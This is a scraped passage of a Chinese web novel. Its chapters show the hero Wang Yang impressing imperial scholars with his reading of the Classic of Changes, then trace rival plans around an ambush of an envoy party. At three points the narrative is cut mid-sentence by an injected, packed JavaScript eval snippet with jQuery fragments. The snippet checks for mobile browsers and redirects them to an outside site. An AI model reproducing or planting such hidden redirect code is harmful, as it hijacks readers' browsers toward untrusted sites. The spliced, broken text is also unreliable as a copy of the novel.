那人猛然一声喝:“撒谎!” 最右边的那个神色欣喜的老头闻此咳了一声:“敬言,你怎么——” 那人冷声打断道:“若不许我发问,我现在可以退席。” 老头无奈一笑,伸伸手掌,示意他继续。 那人看着王扬,冷冷质问道: “皓首穷经,不通秘义!你才多大?怎么可能写得出来?是谁替你写的吗?有几个人捉刀?” 王扬淡淡一笑: “学之深浅,在心不在年;才之高下,在悟不在寿。经术之道,岂以年寿论深浅耶?但问才学如何尔!器有早成,道无常矩。故有八岁能辩《尔雅》者,亦有六十未通章句者,何足怪哉? 若必以齿序论才学,则仲尼不当称颜回,孔明宜终老隆中。贾谊之事定为乌有,王弼注《易》必为人代笔,先生不究颜子贾生,独究于我,何也?” “你!”那人一拍桌案,喉结滚动数下,却不知该说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好似灶中点火,即燃即熄。多如枯草,少似碳星。碳星虽少,却能复燃枯草,使之皆为碳星也。” 五人皆点头。目光好奇者叫了声好:“比得妙!能再有一比乎?” 王扬不假思索: “又如岸塌泉潭,水浑不堪。多如浊流,少似清泉。清泉虽少,却能复澄浊流,使之尽为清泉也。” 好奇者捻须而笑,面带赞许。 欣喜老头感叹道:“这是懂读书的。” 第一位开口的怀疑者哼了一声:“小聪明而已,巧辩浮辞,避实就虚,到现在也没说,他的根基书到底有哪些。莫非心虚?” 王扬笑了笑,看向那人: “我不是不说,而是今天时间不够,不知——从、何、说、起。” —————— 注:**时间乃古辞,中古时佛教典中用得比较多。如《度世品经》:“须臾一时间,可晓众心念。”《妙法莲华经》言:“如是时间,经五十小劫。” **《茶经·七之事》引山谦之《吴兴记》:“乌程县西二十里,有温山,出御荈。” 第247章 通经 所谓根基书便是一身学问根基所本。 学问有根基,譬若树木有主干,由主干而生枝杈,由枝杈而发芽叶,由是至枝繁叶茂,郁郁葱葱。 学问也是如此,学问要入流,则需有几部根基书烂熟于心,钻研吃透,而后博览时便能统摄生发,由点及面,串联成网。亦如项王、高祖虽得天下之众,然所本根基,不过江东子弟、沛县故旧。 做学问如同招兵,无根基纵聚众十万,不过乌合;有根基则精兵八百,可期争霸。要之先有根基所本,本立而道生,生则日益月滋,历久弥坚,渐能至席卷天下之势。 所以之前王扬虽然没有答他的根基书有哪些,五人心中却已经有了预设。根据王扬所写的三书,其根基大概在以《尚书》为核心的几种书之间。可现在王扬居然说什么“不知从何说起”,这不就是说他根基极是雄厚,非三言两语可以囊括吗?但你一个少年,再雄厚能雄厚到哪去?难道还能博通五经,淹贯诸子?! 这是根基啊!不是说能背诵,有心得便能叫根基的。必要洞彻明达,参验精审,也就是所谓的“真正意义上的“通”字! 自汉代以来,通一经即可为博士,通一经即足以开门授徒,立身扬名!在场五人,各有所通之经,俱为当世大家,可没一人敢说自己立学的根基之书“不知从何说起”的。故而王扬此言一出,五老俱皆懵然,不是说被吓到或者惊到,而是根本没反应过来。 怀疑者几怔之后,哈哈大笑,看着王扬,眼神讥诮: “嚯!没想到还是个旷世逸才呀,失敬失敬!那看来阁下所通,不只是《尚书》一经喽?” 王扬神色谦逊: “不敢不敢,学问之道,通字最难。终身以学,终身未通。韦编三绝,孔子犹难穷《易》道;汗简九朽,郑公尚注《礼》未周。我怎敢说一个通字?不过是略懂罢了。” 五人闻此,表情都很精彩。这话乍一听挺谦虚,但细品又不对。别的不说,单说《尚书》,你要说你《尚书》是略懂,那天下有几人能说自己“很懂”的?你《尚书》都不敢说自己通,又举出孔圣郑玄的例子,那别人谁还敢用这个“通”字? 怀疑者被气笑了,嘴角抽动几下: “好一个略懂!那我劳驾问问王大公子,公子《易经》读得怎么样?也是略懂吗?” 王扬微微一笑:“是略懂。” 怀疑者听到王扬这么说,反倒气定神闲起来。他向后一靠,慢条斯理地端起茶盏,嘴角噙着一丝玩味的笑意: “那公子想必读过《焦氏易林》吧?就请公子指点一下‘三夫共妻,莫适为雌。子无名氏,翁不可知’这一奇怪卦象是如何能摆得出来的?” 说完也不看王扬,低眉敛目,对着茶汤徐徐吹气。 王扬略一思索道: “这个不难,若蒙卦变节卦,外卦得坎水之象,二至四爻互见艮山,三至五爻互出震雷,能成三阳卦,三阳并立,可应“三夫”之说。内卦兑泽属阴,柔顺在下,做妻象,是为‘三夫共妻’。震卦是子,逢艮止,名止则不显,故曰‘子无名氏’。艮曰厚终,有寿,能延年,是为翁,又有坎为隐伏,故成‘翁不可知’。” 王扬说完,其余四人不通易经,听得云里雾里,都看向怀疑者。怀疑者手一抖,茶水泼溅而出,打湿了一大片衣襟。不过他浑然没觉得烫,胡乱抹了两把,抬头看向王扬,双眼瞪得老大! 此人便是国子学易学博士刘警。他虽不是研究《尚书》的专家,但那三书的学术价值是再清楚不过得了,仅是论证古文尚书为伪作这一项,便足以开宗立派!所以他一直不太相信,这三书是个少年人写的。哦,你琅琊王氏出个王融还不够,还要再出个天才?其他的事你们怎么鼓噪揄扬我不管,但学问之事,容不得弄虚作假! 如果查实作者真是王扬,那王扬入国子学的资格便无可置疑,不管别人怎么游说阻拦,他反正是举双手赞成。别说当学子,就是直接做博士官,资格都够了! 但话说回来,这都是就《尚书》而言的。一经有长,便可入国子学。即便真认可了你的学问,也不代表说你可以不知天高地厚,口出狂言。他本以为就算三书真是王扬写的,那易学定是不精的,所以故意要用此题杀一杀王扬的傲气,谁知道直接给自己杀迷糊了! 刘警看着王扬,眼睛瞪得滚圆,也不说话。急得旁边几人连声相问:“怎么了?”“他说对吗?”“你说话啊!” 刘警左右看了看,似乎有点茫然,好像才睡醒似的,随即忽然想起什么,也不答同僚问话,赶忙用手指沾了茶水,在桌上画出一个卦象:?5?3 然后问王扬道:“这是什么卦?” 王扬伸脖子瞧了一眼,说道:“无妄。” 刘警用手指擦去最下面一横,然后画了一个叉:“这个呢?” “初九,无妄往,吉。” 刘警目不转睛地盯着王扬:“这六字如何从象中来?” 王扬看着卦象,微微皱眉,片刻之后,眉头松开: “震卦初爻,刚也。乾卦四爻,亦是刚。两刚相济,是为无妄。他卦多取柔爻与刚爻相应,刚柔相应则易生妄。此卦则不然,纯刚无杂,故反能得无妄之真,循此以往,动合天心,事顺遂而吉也。” 刘警“上邪”了一声,脱口惊道:“你真懂啊!” 刘警如果杠到底,王扬也要傲到底,可现在刘警态度大变,还搞得动静这么大,王扬反而有些不好意思,谦虚道:“略懂,略懂。” 余者皆哗然,争相询问刘警:“到底怎么回事?”“他怎么个懂法?”“懂到什么程度啊?你说清楚!” 欣喜老头看着王扬,笑得合不拢嘴! 刘警根本不理其他人问话,眼中只有王扬,倾身向前,问道: “有一种说法,说互卦源于孔圣的《系辞传》:所谓‘其初难知,其上易知,本末也’,又谓‘辩是与非,则非其中爻不备’,故而中爻就是互卦。你怎么看?” 王扬想了想道:“我不太赞同。” 刘警眼睛大亮:“说说理由!” “我以为‘初难知’说的是观象之始,如雾里看花,此拟议之难。‘上易知’说的是得其旨后,似拨云见日,遂终措辞,此顺成之易。盖二爻五爻相应,居卦之中;三爻四爻交际,处卦之变。吉凶之兆,皆蕴象于此四爻之中,此所谓‘中爻’之义,非互卦也。” 另外四人焦急地看向刘警。 刘警只看王扬,眼睛更亮,拍案叫道:“说得好!那你能说说,这互卦究竟如何取爻的吗?” “这个......”王扬脸上现出迟疑之色,“俗传之言不谈了,都不是正说。真正的互卦取爻,荀爽和郑玄都没有说得很清楚。” 刘警眼中精光暴涨,仿佛要将王扬刺穿!手臂一撑,差点站起身来,随后强行抑制住,双眼紧紧锁住王扬, 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这种游戏在学校中也在继续,只是从用扑克牌,改成了用笔。一旦用笔便只能代替主要人物,更多的配角都如繁星般在王扬的脑海中闪烁。所以对于刘警来说,或许会觉得王扬虚空演卦,很难想象,可对于王扬来说,摆弄这些爻线反而更轻松一些,因为它们——不会说话。 刘警明白王扬正在做什么,可另外四人却如堕烟海,其中好奇者最先忍不住开口:问道“敬言,他到底——” “别说话!” 刘警目不转睛地看着王扬,手掌死死按着桌案,连声音都带着些许颤抖。 过了一会儿,王扬睁开眼睛,刘警不自觉地屏住呼吸,眼白上都泛起血丝! 王扬轻声道:“二爻至四爻为下互——” “等等!”刘警心脏砰砰直跳,目不离王扬,招手道:“拿笔来拿笔来!” 此间茶室内,侍者们早被遣开,所以众人也不知道刘警在吩咐谁。其实刘警自己也不知道,他只知道,他现在需要笔。 欣喜老头无奈笑了笑,亲自起身,取来纸笔,放到刘警案上。 刘警用袖子擦了擦案面,看也不看老头一眼,挥挥手,示意他别挡视线。 杜乾光也不恼,学着侍者的模样行礼告退,另外三人见此都忍俊不禁。 刘警面容肃穆,向王扬道:“请继续。” 王扬放慢语速:“二爻至四爻为下互,三爻至五爻为上互,上下合为重互。乾坤二卦,纯阳纯阴,无互可求。有五卦缺上互:临、复、姤、师、同人。有五卦缺下互,比、观、剥、夬、大有。余卦上下皆有互卦,正卦既相对,互卦亦相映。唯旅、丰、节、涣四卦,互卦相同。” 王扬声音已停,刘警运笔不停,还在纸上疯狂勾画推演,其余几人都不敢打扰。只是望着王扬,眼神复杂。 良久,刘警搁笔,随即身体彷佛被抽走所有力气一般,整个人向后堆坐在席上。 另外几位同僚着急问道:“你怎么了?” “说话啊!” “到底怎么了?” “敬言?敬言!” 刘警缓缓抬起头,仔细看了看王扬,然后看向他的同僚,轻声道:“他通了易。” 见同僚们还一脸呆滞的模样,刘警扯着脖子,攘臂叫道:“此子通两经矣!!” 第248章 扬入虎口 “......降至汉世易学,焦赣、京房,皆以占验名世,考其遗法,大抵以揲蓍布卦为要。至于《大传》、《系辞》,叙占卦之义,《说卦》言占卦之用,《春秋》内外传皆以筮占断吉凶,皆非后世空谈义理者所能知,是故——” 王扬说到这儿,审视者突然问道:“你对《春秋》所知如何?” 此人正是《春秋公羊传》的博士檀元宗。 还没等王扬回答,刘警不悦道:“你不要打断别人说话!” 檀元宗一愣,错愕地看向刘警:“就......就只许你一个人问?” 刘警脸色越发不快:“现在是我问,又没轮到你,你要问也等我问完啊!” “可你已经问了那么多——” 刘警不耐烦道:“你能不能不要再打扰之颜论学了!” “我,我打......你说我打扰???” 檀元宗眼睛瞪得更圆,先是一脸不可思议地指着自己,随即又传向另外三人,彷佛寻求公道似的:“他说我打扰......”然后忽然想起什么,猛地转回身,看向刘警:“你这就叫上之颜了???” 刘警理直气壮:“《易》云:‘同声相应,同气相求’,我和之颜学问投契,相遇便是知音!这是中孚卦‘鸣鹤在阴,其子和之’之象!是不是之颜?” 额...... 王扬马上拱手道:“先生方才对于大衍之数的阐发,我是心服的。” 刘警哈哈大笑,声震房梁!把其余几人都吓了一跳。 刘警捻须,甚是神气,笑指王扬道: “之颜,你眼光是真毒啊!!!此是我一生学问,得意所在!便是郑康成不死,王辅嗣复生,亦要服我此解。” 檀元宗惊呆,有些不信地看向王扬:“真的吗?” 王扬点头: “确实如此。东汉经师皆知《易》道不离象数,这是高于不知多少后学的地方。但于象数之明者则当畅言之,于未达者则应从疑而论,此方为治学正道。然虞翻妄演卦变之说,郑玄杂糅爻辰之例,至王弼注易,尽废象数,则去正道更远,以其说简而易晓,故能风靡。 由此而降,学风遂坏,至于千年之后,多不知真术,反以谬法演缪,以讹象推讹,甚可憾也。先生反古用象,所解之术甚正,演卦之法,又能与古合,绝非空学浮泛者能比,很是难得。” 刘警喉间发出一声类似呜咽的抽气,眼眶湿润,嘴唇剧烈颤抖着,激动道:“你懂我!你懂我!!” 众人愕然,檀元宗咂咂嘴,也不知道在说刘警还是说王扬,喃喃道:“这么厉害吗......” 杜乾光怡然自得地饮了口茶,悠悠地冒出一句:“我早说了。” 另外几人看向杜乾光,眼神钦佩。 当初古文一派要削王扬学籍,是杜乾光力争不退。后来中书令长子谢谖多方联系,援引建元四年旧制——“博士五人共论,可定异才,郡选之外,超擢特举”,密邀国子博士,避开古文一派,以巡学为由,赴荆亲验王扬经术。也是杜乾光一力响应,奔走游说,促成此行。 当时五人之中,有三人都以为,此等书绝非少年人所能独撰,一人从疑,唯杜乾光言:“天才俊逸,岂可以常理度之?若以疑而弃才,是见骐骥未驰,便谓其不能千里;睹和璧未剖,即断其价非连城。疑而阙之,不若试而明之。诸公既疑,不如一试,倘其学不足观,弃之未晚;若其才果非常,乃斯文之幸。” 几人都被他这番话说动,这才有了赴荆之行。 正当众人感慨时,目光好奇者——毛诗博士(毛诗是当时治诗经中的主流学派,毛诗之外,还有鲁诗、齐诗、韩诗三家,也称三家诗)崔愝突然问王扬道: “你说‘至于千年之后,多不知真术’,这话从何而来?” 众人也反应过来,都看向王扬。 呃......从我是千年之后穿越来的...... 王扬面现戚色,沉声道: “庄子说:‘万世之后而一遇大圣,知其解者,是旦暮遇之也。’万世之隔,不过旦暮,今之诸儒,于象数一道已多昧真义,千年之下,可以想见矣。” 刘警用力点头,眼中闪着泪光: “是的是的!正是如此!当今皆仿王弼扫象不论,谁识我真意?今日天降之颜,为我明剖,此天不负我也!” 王扬穿越之前在某名胜处,与某“名道长”偶语,两天后道长突然致电,言愿出两万以学易正法,王扬笑而婉拒,非自秘其术,而是无学问底子,非几月可以传矣。魏晋之后,治易多空疏,降至现代,错解缪术,更是大行其道。刘警能一反当时学风,以象为本,卦法又得正轨,王扬很是敬佩。 他再次向刘警拱手: “我观先生方才解月体纳甲,又问四五约象数言,细味先生易术理路,似是承孟氏易,又似得姚德祐之遗学,不知道先生到底是......” 刘警浑身剧震,飙泪叫道: “一个是我家学!一个是我师传!之颜你别站着了呜呜呜,快坐啊!!怎么也没个座位啊呜呜啊啊呜!” 刘警又哭又笑,随便抹了几把眼泪,站起身:“之颜来,坐我这儿!” 王扬哪里肯坐,连忙推辞! 刘警也不管王扬怎么说,直接上前来拉王扬。 王扬又惊又尬,也不好挣扎,结果这刘警手劲还不小,直接把王扬拽得向前一倾! 王扬也是欲哭无泪,这也不好抢老人家的座啊,赶紧往回退,连声道:“不用不用!真不用!我站着挺好的!” 刘警异常固执地拽住了王扬的手,把他往座位上拉:“之颜通易,是大才,怎么能站着呢?!” 王扬声音都变了调,往后缩着身子,却又不能用力挣脱,生怕伤着这位激动的老人家:“不通不通!真不通啊!你现在让我把易经中几种可能的打卦方式都打一遍,我都打不出来!” 刘警大哭,手上力道也突然加大:“你这才是真通啊!我就知道一种啊啊啊呜呜!” 另外几人看着这一老一小在这儿拉扯,都看傻了。除了杜乾光之外,都不能理解刘警何至于如此失态,至于杜乾光,他当然知道了,因为他读到《尚书今古文指瑕》时,也是这般的失态! 目光锐利者、《仪礼》博士何琛见刘警如此有失体统,看不下去了。自来师道尊严,王扬即便学通两经,但身份辈分在那儿摆着,岂能和师长并坐?刘警这不是胡闹吗?他板着脸道: “敬言,你坐回去,我还要继续问他。” 刘警一挥袖:“还问什么?此子学通两经,谁要敢阻他进国子学,我就告到太极殿上去!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482764|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王扬心下一跳,瞬间明白这是怎么回事了! 他之前就觉得搞得像面试似的有些怪怪的,甚至还胡思乱想过,说不定是谢家让人来试他才学?唯一没想过是国子学来人。因为按照正常程序,他可以通过郡选入国子学,完全没必要来这么一场啊! 谢星涵应该是好意,为了增大他中选的机会,可问题是他身份是假的,哪敢去京城啊!就算萧宝月真把尚书省户籍搞定了,可入国子学,岂能不核查身份?一个南郡挂籍,再加上一个尚书省的底档,够人家查吗?再说建康乃琅琊王氏聚居地,贵家林立,大佬如云,自己在外地骗骗行,公开去建康,岂不是扬入虎口?之前萧宝月也说过,她能保在荆州没事,但要去了京城就...... 哈基扬瑟瑟发抖ing...... 不行,先跑路! “哎呦!我想起来了!”王扬猛地拍了下大腿,给五老弄得一愣,“我约了黛玉陪她去选簪子,差点给忘了!抱歉抱歉!我先告辞了!”趁着几人发愣的空档,王扬一个箭步便往外窜!刘警快步跟上,还想相拦,王扬已一溜烟跑地出门外,只留刘警的声音在后面回荡:“之颜!之颜!!” 王扬冲出回廊,正遇谢星涵跪坐烹茶,婉约如画。水汽氤氲间,隐约可见她白皙的指尖被蒸得微微泛红。 “诶?公子你怎么——” “已经完事了!多谢娘子安排!我还有急事,先走了哈!回头请你吃火锅!”王扬逃也似的匆匆离去。 谢星涵满头问号。 小凝疑惑且担忧:“王公子是不是没考好啊?” 谢星涵凝眉想了想,渐渐露出个笑容:“我看是考得太好了......” 小凝:??? ...... 茶室内,五老面面相觑。 半晌后,《春秋公羊传》博士檀元宗率先开口: “话说,那个黛玉是谁啊?” 没人说话。 《仪礼》博士何琛冷哼一声:“此子太轻浮了!身为郡学子,对博士问,居然中途跑去陪什么黛玉买簪子!这样的人,如何能入国子学?” 刘警一拍桌案,须发皆张: “买簪子咋了?之颜有此才学,别说陪黛玉买簪子!就是陪黑玉白玉黄玉红玉一起买簪子,都可以!马季长世称大儒,照样坐高堂,施绛纱帐,前授生徒,后列女乐!人家王扬买个簪子,就进不得国子学了?国子学今年一个不招都得招他!天下易学之兴,在王之颜!我说的!异日执牛耳者,必是此子!” 众人皆惊,没想到刘警对王扬的易学评价这么高! 檀元宗遗憾叹道:“可惜我还没来得问他《春秋》......” 毛诗博士崔愝道:“他肯定会说略懂。” 五老皆笑。 崔愝续道:“不过这回是真的略懂。” 其他人都赞同此说,毕竟王扬这个年纪,能通两经已经是奇才了,怎么也不可能再通其他经的。 众人交口议论,讨论王扬才气聪明,越说越兴奋,唯有杜乾光很有范儿的坐在一旁,稳若泰山,不参与交谈。 刘警挪到杜乾光身边,一脸讨好笑道:“杜老,我跟你商量个事儿呗——” 杜乾光伸出手掌,直接挡住刘警的大脸,崩出五个字:“想都不要想!!!” 第249章 对局(上) 夜,王府回廊,风灯烁烁。 画堂深处,李敬轩聚米成山,撒豆为林,在长案上摆出沙盘地图。 此时巴东王带着孔长瑜走了过来,李敬轩忙放下手中米粒,向巴东王躬身行礼。 巴东王笑呵呵问道:“恭舆啊,怎么样了?” “还差最后一处,请王爷稍等片刻。” 巴东王看着地图应道:“嗯,好,不急,你慢慢来。” 李敬轩听出巴东王心情似乎不错,精神也是一振,赶忙继续摆图。 巴东王咦了一声:“这个绸带是......” 李敬轩边放米粒,边回答道:“是沮水。” 巴东王皱了皱眉,走到桌子东边,豁然开朗,笑道: “恭舆啊,你这图一摆,汶阳沮中一带,了然如指掌。孔先生,本王的张良还不错吧?” 孔长瑜拱手贺道: “当年光武征隗嚣,计未定,马援于帝前聚米为山谷,指画形势,帝曰:‘虏在吾目中矣。’当年之事,今又见之。” 孔长瑜一句话让巴东王和李敬轩都很高兴,巴东王哈哈大笑:“本王可比不得光武啊!” ...... 柳府内室,烛影沉沉。 下人早都被遣开,王扬正一勺一勺地吃着酒酿赤豆茯苓羹,眉眼沉静。 此时柳惔引着一个中年男子掀帘而入:“之颜,封叔到了。” 男子一进帘,炯炯目光,便落在王扬身上。 王扬放下羹碗,从容站起,向男子拱手道:“封将军辛苦。” 男子一怔,似乎没想到王扬竟会先向他见礼,忙躬身回礼:“不敢。小人早无军职在身,当不得将军之称。” 王扬一笑:“李广罢官,人称将军如故。以封将军之功,若非跟随国公自愿隐退,如今‘将军’两字,何足道哉?” 封一陵心中一热!他本是柳家部曲,跟随国公爷大小几十战,当年国公爷在声势最盛之时称病逊位,他虽然到现在也不明白国公爷为何如此,但他二话没说,便卸甲去职,只因为在他眼中,前程什么的不重要,能跟着国公爷便足矣。话虽如此,但有时难免怀念当年的戎马岁月,再看着昔日同僚个个带兵主营,甲胄威武,心中能无一丝波澜?不过他不仅不后悔,反而很自得,因为这代表他对国公爷的忠诚超越了这些东西:不是说我封一陵不能得位,而是我为了侍奉国公,不屑为之尔! 所以王扬这句话,正好说到了封一陵的骄傲所在!并且在封一陵看来,这个小公子说的比他自己心里想得还好!是啊,若非我自愿跟着国公爷隐退,将军两字,何足道哉?! 柳惔提醒道:“封叔,我们开始吧。” 封一陵醒过神来:“哦,好。” 他从衣襟中取出一张羊皮,打开摊在桌上,上面有炭笔画的地图,然后手指地图,开始给柳惔和王扬讲解起来。 ...... 两根手指指着米堆,李敬轩白衣广袖,声音朗朗: “在此山之前,不便动手,原因有三,第一、席恭穆遣州兵千人,护送使团,一旦有事,紧近郡县,也可支援。第二、蛮兵不愿也不宜越界潜入。第三、若在境内出事,王爷责任不小。” 李敬轩手指渐移: “过了此山,便是界外,乃汉蛮缓冲之地,席恭穆的兵,只能护送到这儿。从这儿到汶阳峡,近九十里,道险,无人烟,使团一百二十八人,除去正副使、文书、通译、礼官、车马仆役等,士卒不盈百人。人虽少,但马匹不少,见势不妙,二王随时可能骑马逃走,所以灭之不难,难在如何一个不漏网,全部杀掉......” 巴东王打断问: “一定要全杀吗?放几个无关轻重的回来报信,岂不更好?” 李敬轩一顿,为难措辞道: “这样固然好,只是......” 巴东王笑道:“本王也就是随口一问,说的哪里有问题,你尽管指出来,怎么还吞吞吐吐的?” 李敬轩这才放心道: “王爷所言固然高见,但也有不太妥当的地方。首先,人物是无关轻重还是有关轻重,蛮人未必能分辨准确。战场上混乱一起,任何事都可能发生,万一王扬扮做士卒呢?万一王揖混在仆役中侥幸冲出来呢?再加上蛮人疏懒,说不定想反正要留活口,所以有人逃走也不穷追,最后反倒放走了关键人物。与其不清不楚地让他们放掉几个,不如要求一百二十八颗人头,一颗不能少。 其次、永宁蛮不知这是我朝使臣,只是以为这是王爷政敌派来,和汶阳蛮别开贸易的。虽然事先说了,他们可能会假冒钦使,但要保证玄机不露,最好就是永宁蛮一见使团面,便以雷霆之势,出重手全部剿杀。如果下手还留着分寸,弄出几个活口,再机缘凑巧,听了几个活口的分辨之言,继而起了疑心,那就得不偿失了。” 巴东王点头:“有道理,你继续。” “是。这九十里之中,有三处必经之路,其中最险峻的有两处,一是瘴潭陂。入陂先要过索桥,过桥后道狭五尺,泥泞不易行,行一里半,道右有一芦苇地,广二里,纵三里,苇甚高,密若束矢,可供藏兵。若在此伏击,只需等使团过桥后,便断了索桥,然后伏兵杀出,他们便逃无可逃。 二是鱼腹峪。全峪长三里,呈鱼腹形,入出口皆宽三丈,越向里越窄,三百步外,两壁夹峙,最窄处仅容车驾。中间地大,虽有几个石柱,却无法藏兵,两侧高不可攀,亦不能设伏。不过全谷只有一北一南两个入口,堵住之后,使团插翅难飞。 此二者乃兵法所谓“天牢”、“天罗”之地也。 第三处名曰虎头路口,没有前两处那么险要,向北是山路窄道,向南是森林,西是山地高坡,东是滩涂沮水......” 一粒红豆在李敬轩一拂一下,坠入象征沮水的蓝色绸带中。 ...... 一颗煮得软糯的红豆被瓷蓝汤匙舀起,送入王扬口中。 王扬细细品尝着,眼中看着地图,耳中听着封一陵的说话: “......使团由南向北,先过森林,至虎头路口。再往前行五里,便是汶阳峡了。这是最后一个必经之路,现在问题在于,如果真有伏兵,他们会选择在哪里动手?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491815|165814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳惔道:“如果真有伏兵的话......”他停顿了一下,看了王扬一眼,然后说道:“不是瘴潭陂,便是鱼腹峪。” 王扬把最后一点茯苓羹吃完,放下碗,指尖在案上轻叩三下,说道:“都不是。” 封一陵看向王扬,柳惔眉头一皱,正要开口,却见王扬已伸手点在地图上: “兵法云:‘凡地有绝涧、天井、天牢、天罗、天陷、天隙,必亟去之,勿近也。’天牢者,葭苇深广,可牢破军之地,此瘴潭陂也。天罗者,山涧迫狭,可罗绝兵之地,此鱼腹峪也。 然险非定险,形无恒形,地之险者,或能有利薮;形之绝处,亦未必不藏生机。瘴陂虽死地,然芦苇伏兵处却惧火攻,若得风向,乘风纵焰,一烧敌兵,二借火烟突走,泥淖陷足,不光限我,亦能限敌,此所谓死地可走。 峪谷虽绝,内则口细,乃一夫当关,万夫莫开之象,车马尸石,皆可塞路,便于据守,伏兵虽能封锁外谷,入内则无法展开,不利速战。彼既偷袭,恐为人所知,引来援兵,岂敢久持?此所谓绝地可战。 故而此二地虽然看似险要,但都不适合做伏击之地。唯有这第三处,虎头路口,看起来无前两者之险,然后西高地可屯兵,远见敌势,近则下俯,此所谓‘视生处高’也。到时北边小道用石木一堵,南面林中以一军绝后,东面是沮水,四围皆绝,此乃真死绝地也!” 王扬手掌一按,落于地图虎头路口之上,缓缓抬眸,沉声道: “所以,敌伏之地,必是虎头!” ...... 李敬轩的手掌从虎头路口上缓缓拿开,指尖还沾着几颗米粒,他向地上随意一抖,米粒簌簌滚落,悄无声息,目带杀意道: “此处地势虽平,却是真正的天罗地网,牢不可解......” ...... “能解!”王扬眼神如剑,双指并拢,点向沮水,向柳惔道:“你是汶阳太守,郡司马也是你家旧部,你派一支小队,轻舟小船,带**手,溯沮水而上,来虎头滩接应。” —————— 终于到五一了!爽!首先祝各位小伙伴五一快乐!!!庆祝!!跳个扭扭舞!还要配YouNeverCanTell! 其次说两个事。第一是书名。这本书一开始就叫《冒姓琅琊》,后来书名测试时设置五个书名一起在推荐中显示,结果最受欢迎的是《关于南朝贵公子是我冒充的这回事》,点击率远远高于其他书名包括《冒姓琅琊》,不过系统很智能,最开始点击的书名都不会变,就是如果根据《冒姓琅琊》这个书名点进来的,那一直就是冒姓琅琊,是根据南朝贵公子进来的,就一直是南朝贵公子,但我后台的书名始终是《冒姓琅琊》,设置的口碑书名(正式书名)也是《冒姓琅琊》。后来系统又起了不同的名字推荐,什么绝世琅琊、南朝博士什么的,多到我自己都不知道一共有多少,名字也不是我取的,还在不管是哪个书名,搜进来都是这本书。第二是五一的更新。1、2停,3号更,然后5号更,然后五一居然就结束了!悠悠苍天,不忍言之...... 第250章 对局(中) 柳惔沉吟:“使团这么多人,船队只要一小队,恐怕不够。” 他看向封一陵:“封叔,能用大船吗?或者多备些小船?” 封一陵道:“恐怕不行,这一带水道浅窄,深不过几丈,浅处才五尺许,最宽处大概也就十五六丈上下,具体到虎头滩还要更窄,吃水超过三尺的船,便不能用。小船的话,丈余小舟(宽)并行,最多不过两三艘。滩涂也不大,停不了几艘船。” 柳惔追问:“最多能停多少艘?并行虽然不能太多,但可前后错开成列,使团一共一百二十八人,封叔你算一下,用多少艘船合适。” 封一陵面露难色,一时间不知该如何陈说。 王扬道:“不是多少船能够的问题,而是船一多,一来不利潜行,二来不利水战。即便减少士兵,多留空位,也不考虑引人注目的问题,但船如长龙成列,首尾相接,此乃水战之忌。且河道拥挤,一旦敌人用火,或一二船遇险而沉,堵住河道,则前船不能退,后船不能进,进退失据,首尾难顾,到时就任人宰割了......” 封一陵马上道:“正是如此!”同时心中暗惊,自己凭着跟国公爷东征西讨的经验才知道二公子说的是行外话,行不通的,但要让他说具体如何不通,却说不太清楚,可竟让这贵公子讲得头头是道,琅琊王氏当真了不得,难怪...... 他来不及多想,继续听王扬说下去: “......即便船行顺利,可那么多艘船堵在滩头,行动必然迟缓,那时众人争着上船,蛮兵在后面追杀,好的一点双方引箭互射,血染沮水,坏一点的船帮碰撞搁浅,被蛮兵抢上船来,能走脱几成,便说不好了。” 柳惔佩服地向王扬一拱手:“是我想得简单了,王兄见笑。” 王扬一笑:“什么王兄,叫之颜挺好的。” 柳惔本比王扬年长,但不知道为什么,听了王扬这几番话之后,就很容易让人忽略他的年纪,所以柳惔脱口叫了王兄,封一陵心中对王扬的称呼也不自觉地用“贵公子”代替了“小公子”。 柳惔点点头,直接问道:“之颜,那你的意思是?” “我的意思是此地此役,贵神速而忌滞重,轻舟之利在快,船不用多,只选一小队,人手要精干,可速来速去,进退自如。” 柳惔不解:“使团这么多人,船少如何接应?” 王扬停顿了一下,说道:“只需接我们两个人。”说完想了想道:“或许还有几个,但不会多。” 柳惔和封一陵怔住。 柳惔疑惑问道:“那使团其他人呢?” “这个你不用管。” 柳惔神色顿变:“那怎么行!使团上下百余人,怎能不管?!” 这上百人里,可未必没有敌人,并且,他们也未必用得到你管。 王扬没有把话挑明,而是反问道:“你准备怎么管?” 柳惔一时语塞,不过很快道:“你和令叔固然要救,但其他人也得救!我不能坐视我朝使团,被人屠戮!” 柳惔很自然地认为王扬说的“只需接我们两个人”,我们里的另一个人是王揖。王扬也没点破,只是心道,我那个阿叔也未必用你救...... 之前萧宝月让王扬有事尽管往王揖身上推,而王揖又主动帮王扬掩护身份,所以有一种可能,就是王揖和萧宝月是一路的。 